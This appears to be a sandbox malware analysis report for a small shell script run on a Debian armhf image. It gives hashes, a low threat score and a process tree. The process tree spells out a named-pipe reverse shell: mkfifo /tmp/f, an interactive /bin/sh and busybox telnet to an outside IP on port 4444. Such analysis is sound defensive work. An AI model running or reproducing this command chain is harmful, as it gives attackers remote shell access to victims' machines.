752894233bc3d36b1638d8bcc66eb31f1ca240bf7b2e7390b63f360b3ccdf4d3

Analysis

max time kernel
0s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/07/2026, 06:32

Target
s
Size 357B
Sample260723-hal8vahe83
SHA256 752894233bc3d36b1638d8bcc66eb31f1ca240bf7b2e7390b63f360b3ccdf4d3
MD5 b153009b1d6c0a6b5a951c2ec0534248
SHA1 5f07676a1ba5eb798ee0d0048bffcbbe2920ac80
SHA512 8f73079152f2e428092f78a3e199508122b0df87d151628e09e5a4f89c2a3d6b1bb065637540bf57e8c6a352a5a48c246a3318d497f0763d24c23f4b2f1db62b
TLSH
T199E026A2B2C055B12C4ACD321A4B64F7825B89520EE35FE0B0C91934620CBFAF44985A
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/td.err	s
File opened for modification	/tmp/f	s

/tmp/s
/tmp/s
1⤵
- Writes file to tmp directory
PID:648
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  - Reads runtime system information
  PID:649
- /bin/mount
  mount -t tmpfs tmpfs /dev/shm
  2⤵
  - Reads runtime system information
  PID:654
- /bin/rm
  rm -f /tmp/f
  2⤵
  PID:659
- /usr/bin/mkfifo
  mkfifo /tmp/f
  2⤵
  - Reads runtime system information
  PID:662
- /bin/sleep
  sleep 999
  2⤵
  PID:670
- /bin/sh
  /bin/sh -i
  2⤵
  PID:668
- /bin/busybox
  /bin/busybox telnet 209.38.118.65 4444
  2⤵
  PID:669

td.err

Path /tmp/td.err
Size 38B
SHA256 4980a744b817aa28bed0014c05521da04cbe0c26b79a0fc115815641bc4a6119
MD5 3945f0880cf2b025cc8e70ff1e0c9f6d
SHA1 7d195968d2bddd9ba565ef860268cad6cc4511a6
SHA512 14387ae96481d3ad5e91a9e31674f4e48a5eac0cfb8f852c6a19c46e1fee65dfa4aa64f1fd6370bd24a9ff9ddace16b6ddefac7e3bd526cca1a4a5726dbd1104
MD5 SHA1 SHA512

Submit Download